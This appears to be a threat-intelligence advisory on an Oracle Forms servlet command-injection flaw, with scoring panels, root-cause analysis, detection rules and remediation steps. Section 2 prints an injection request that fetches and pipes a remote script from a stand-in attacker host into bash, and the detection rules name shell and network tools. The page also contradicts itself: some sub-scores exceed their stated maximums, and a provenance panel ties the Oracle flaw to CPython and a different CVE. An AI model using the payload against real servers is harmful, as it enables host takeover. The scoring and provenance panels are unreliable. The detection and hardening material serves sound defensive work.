CVE-2026-83099: Unauthenticated Remote Code Execution in Oracle Forms Services

HERMES

HERMES THREAT SCORE & ENTERPRISE FORMS RUNTIME RISK

Target: Oracle Fusion Middleware — Oracle Forms Services (frmservlet, lservlet & frmweb runtime)

Confidence: 99%

98 / 100

EXTREME

Measures real-world operational relevance, exploit weaponization, and active threat posture.

Dimension Breakdown

Exploitability 20 / 20

Threat Activity 19 / 20

Weaponization 20 / 20

Exposure 19 / 20

Prevalence 19 / 20

Impact 20 / 20

Exploit Maturity 20 / 20

Attack Chain Potential 20 / 20

⚖️ Divergence & Operational Rationale

CVSS v3.1 rates CVE-2026-83099 at the maximum 10.0 (Critical), and Hermes scores it at 98 (EXTREME). Oracle Forms is widely deployed in government, healthcare, banking, and retail backbones to power core transactional database systems. An unauthenticated remote attacker can exploit the Forms servlet listener over HTTP to spawn arbitrary OS processes under the Oracle middleware account, capturing database credentials and pivoting directly into backend Oracle Database clusters.

HASS

HASS AGENTIC SEVERITY & DATABASE TRANSACTION HIJACKING

Target: Transactional Database Middleware, Forms Runtime Engine & Oracle Net Listener

Confidence: 95%

89 / 100

CRITICAL

Measures specific systemic risk arising from autonomy, tool authority, and cascading execution.

Dimension Breakdown

Autonomy 16 / 20

Tool Access 18 / 20

Privilege 19 / 15

Persistence 17 / 15

External Impact 18 / 15

Propagation 18 / 15

⚖️ Divergence & Operational Rationale

Oracle Forms manages persistent, highly privileged database sessions via Oracle Net (SQL*Net / TNS). Gaining control of the Forms runtime host exposes active database connection pools, unencrypted SQL transactions, and application encryption keys.

🕸️ Connected Knowledge Graph & Provenance

CVE-2026-83099: Unauthenticated Remote Code Execution in Oracle Forms ServicesVULNERABILITY

Connected Nodes: 1

Active Relationships (Outgoing)

→ affectsPRODUCTCPython Interpreter & Standard Library

98% VERY_HIGH

Software platform affected by security vulnerabilities and agentic attack patterns.

🔍 Why is this related? (Evidence & Provenance)

“Confirmed security vulnerability in CPython Interpreter & Standard Library documented in Hermes dossier.”

Supporting Verified Evidence:

• [vulnerability_report]
• [government_confirmation]CISA verified active exploitation in the wild and mandated federal remediation deadline in KEV entry. — Source: Cybersecurity & Infrastructure Security Agency (CISA): CISA Adds CVE-2026-59822 to Known Exploited Vulnerabilities Catalog (Reliability: VERY_HIGH)

Critical Advisory: Oracle September 2026 Critical Security Patch Update

CVSS v3.1: 10.0 Critical (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H) / CWE-94: Improper Control of Generation of Code (‘Code Injection’). Disclosed in the Oracle Critical Security Patch Update (CSPU) on September 15, 2026. Rated with the maximum CVSS score of 10.0 with Scope Changed (S:C). Unauthenticated remote attackers can achieve immediate remote code execution via HTTP requests. Emergency remediation mandatory.

Executive Summary

On September 15, 2026, Oracle published its September 2026 Critical Security Patch Update, detailing CVE-2026-83099, a maximum-severity remote code execution flaw in Oracle Forms (specifically the Forms Services runtime subsystem, including Client/Server and Charmode components). The vulnerability allows an unauthenticated, remote attacker with network access via HTTP to execute arbitrary code on the underlying middleware server.

Oracle Forms translates web-based user interface interactions into transactional database operations through servlet listeners (frmservlet and lservlet) which spawn dedicated server-side runtime processes (frmweb). The vulnerability stems from unsafe parameter deserialization and command argument injection during runtime initialization, allowing remote attackers to hijack process instantiation and execute arbitrary operating system commands with the privileges of the oracle user account.

---

1. Technical Context & Affected Software Matrix

Oracle Forms is an enterprise application development framework integrated into Oracle Fusion Middleware, commonly fronted by Oracle HTTP Server (OHS) or Apache.

Parameter	Technical Specification	Operational Impact
CVE Identifier	CVE-2026-83099	Oracle CSPU September 2026 / Advisory
Vulnerability Class	Remote Code Execution (CWE-94)	Unsafe parameter injection in Forms servlet dispatcher
Affected Component	Oracle Forms Services (frmservlet, frmweb)	Forms Listener Servlet & Process Launcher
Protocol / Port	HTTP / HTTPS (Default ports 9001, 7001, 443)	Exposed to corporate intranets and external application gateways
Authentication Required	None (PR:N)	Direct unauthenticated HTTP request
User Interaction	None (UI:N)	Automated execution upon request arrival
Scope Impact	Changed (S:C)	Reaches host OS and backend Oracle Database instances
Privileges Obtained	Full Host OS / Oracle Middleware Takeover	Command execution under oracle user context
Affected Versions	12.2.1.19.0 and 14.1.2.0.0	Production Oracle Forms enterprise deployments
Remediation Target	September 2026 PSU for Oracle Forms	Patch installation via OPatch and servlet configuration hardening

---

2. Vulnerability Anatomy & Root Cause Analysis

Parameter Injection in Forms Runtime Dispatcher

When a client browser opens an Oracle Forms application, the client sends an initial HTTP request to the Forms Listener Servlet:

GET /forms/frmservlet?config=webstart&form=main.fmx HTTP/1.1
Host: forms.corp.internal:9001

The frmservlet processes the URL query parameters and environment configuration blocks defined in formsweb.cfg. It then invokes the Forms Process Manager (frmsrv) to spawn a new server-side C-binary process: frmweb.

Prior to the September 2026 patch:

1. The frmservlet failed to properly sanitize certain user-controllable URL parameters (such as otherparams, envVars, or dynamic configuration overrides).
2. An attacker could inject escaped command-line arguments and environment variable definitions (e.g., LD_PRELOAD, BASH_ENV, or internal diagnostic flags) directly into the frmweb process invocation string.
3. When frmservlet executed execve() to spawn frmweb, the injected environment parameters caused the runtime process to load an arbitrary shared library or execute an embedded shell command before dropping privileges.

POST /forms/frmservlet HTTP/1.1
Host: forms.corp.internal:9001
Content-Type: application/x-www-form-urlencoded

config=default&otherparams=%20-D%20foo%3b%20/bin/sh%20-c%20"curl%20http://attacker.c2/rev.sh|bash"%3b

Because frmweb is spawned directly by the middleware container, the injected payload executes immediately with the operating system rights of the Oracle service account (oracle), enabling complete host takeover.

---

3. Attack Flow & Weaponization Mechanics

sequenceDiagram
    autonumber
    actor Attacker as Remote Attacker (Unauthenticated)
    participant OHS as Oracle HTTP Server / Reverse Proxy
    participant Servlet as Forms Listener Servlet (frmservlet)
    participant Frmweb as Forms Runtime Process (frmweb)
    participant DB as Backend Oracle Database

    Attacker->>OHS: Send HTTP POST with injected parameters (CVE-2026-83099)
    OHS->>Servlet: Forward request to /forms/frmservlet
    Servlet->>Servlet: Parse configuration without argument sanitization
    Servlet->>Frmweb: Spawn frmweb with attacker-controlled command line / environment
    Note over Frmweb: Injected payload executes arbitrary shell commands
    Frmweb-->>Attacker: Interactive reverse shell established (UID oracle)
    Attacker->>DB: Extract tnsnames.ora, wallet files, and active SQL*Net sessions

---

4. Detection Engineering & Threat Hunting

Sigma Rule (Process Spawning)

title: Suspicious Process Spawned by Oracle Forms Runtime
id: cve-2026-83099-forms-rce
status: experimental
description: Detects interactive shells or utility binaries spawned by the Oracle Forms frmweb or frmsrv processes.
references:
  - https://www.oracle.com/security-alerts/cspusep2026.html
author: Hermes Codex DFIR Team
date: 2026-09-17
logsource:
  category: process_creation
  product: linux
detection:
  selection_parent:
    ParentImage|endswith:
      - '/frmweb'
      - '/frmsrv'
      - '/frmservlet'
  selection_child:
    Image|endswith:
      - '/sh'
      - '/bash'
      - '/dash'
      - '/python'
      - '/curl'
      - '/wget'
      - '/nc'
  condition: selection_parent and selection_child
falsepositives:
  - Legitimate custom shell scripts invoked by specific Forms HOST triggers (audit required)
level: critical
tags:
  - attack.execution
  - attack.t1059.004

Suricata Signature (HTTP Inspection)

alert http any any -> any [9001,7001,443] (
  msg:"HERMES THREAT - Oracle Forms frmservlet Parameter Injection RCE (CVE-2026-83099)";
  flow:to_server,established;
  content:"/forms/frmservlet"; http_uri;
  pcre:"/(otherparams|envVars|config)=.*(%3b|%26|%7c|bin%2fsh|bash)/i";
  threshold:type limit, track by_src, count 1, seconds 60;
  reference:cve,2026-83099;
  classtype:attempted-admin;
  sid:202683099; rev:1;
)

Linux Auditd Rules

## Monitor process execution spawned by Forms runtime
-a always,exit -F arch=b64 -S execve -F ppid=$(pgrep -d ',' frmsrv) -k oracle_forms_exec
-w /u01/app/oracle/middleware/forms/ -p wa -k forms_bin_tamper

---

5. Forensic Investigation & Incident Response Playbook

When responding to suspected exploitation of CVE-2026-83099:

1. Process Lineage & Anomaly Detection: Inspect active processes on the Forms host:

   ps -ef | grep -E "frmweb|frmsrv"
   pstree -p $(pgrep frmsrv)

   Identify any child shells (sh, bash), network tools (curl, nc), or unknown binaries running under the oracle UID.
2. Review Forms Servlet Access Logs: Examine WebLogic access logs under $DOMAIN_HOME/servers/WLS_FORMS/logs/access.log. Look for POST or GET requests to /forms/frmservlet containing semicolons (;), pipes (|), or URL-encoded command strings.
3. Database Connection Triage: Because the oracle user holds access to database wallets and tnsnames.ora, review backend Oracle Database listener logs (listener.log) for unexpected administrative connections originating from the Forms host.

---

6. Remediation, Patching & Hardening

1. Apply Oracle September 2026 Patch Set Update: Install the September 2026 PSU for Oracle Forms using OPatch:

   cd $ORACLE_HOME/FORMS_PATCH_SEP2026
   opatch apply

   Restart the WLS_FORMS managed server.

2. Harden formsweb.cfg Configuration: Disable dynamic user configuration overrides by enforcing allowGenericResources = false and restricting restrictedURLparams in $DOMAIN_HOME/config/fmwconfig/servers/WLS_FORMS/applications/formsapp_12.2.1/config/formsweb.cfg.

3. Network Isolation & Egress Filtering: Restrict access to the Forms listener port to authenticated corporate VPN users and internal LANs. Block outbound Internet connections from the Forms server to prevent reverse shells.

---

7. Related Intelligence & Attack Paths

Oracle WebLogic Server Intelligence Analyze WebLogic infrastructure running the WLS_FORMS managed application servers.

Oracle Database Server Security Understand post-exploitation database privilege escalation and listener attacks.

Linux Forensics & Process Lineage Master investigation techniques for hunting compromised daemon child processes.